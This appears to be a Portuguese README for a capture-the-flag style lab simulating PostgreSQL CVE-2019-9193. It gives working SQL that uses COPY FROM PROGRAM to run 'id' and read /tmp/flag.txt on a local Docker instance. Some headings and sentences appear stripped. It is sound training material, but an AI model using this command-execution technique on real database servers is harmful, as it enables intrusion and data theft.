
Este laboratório simula CVE-2019-9193 - PostgreSQL COPY FROM PROGRAM RCE
Este laboratório simula CVE-2019-9193, uma vulnerabilidade do PostgreSQL 9.3–11.2 que permite:
COPY ... FROM PROGRAM '<command>'
executar comandos do sistema operacional quando executado por um superusuário ou por uma role com pg_execute_server_program.
Sua tarefa é explorar esse recurso para ler:
/tmp/flag.txt
COPY FROM PROGRAM para:
docker compose build
docker compose up -d
Conecte-se via:
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
pg_execute_server_program desnecessariamente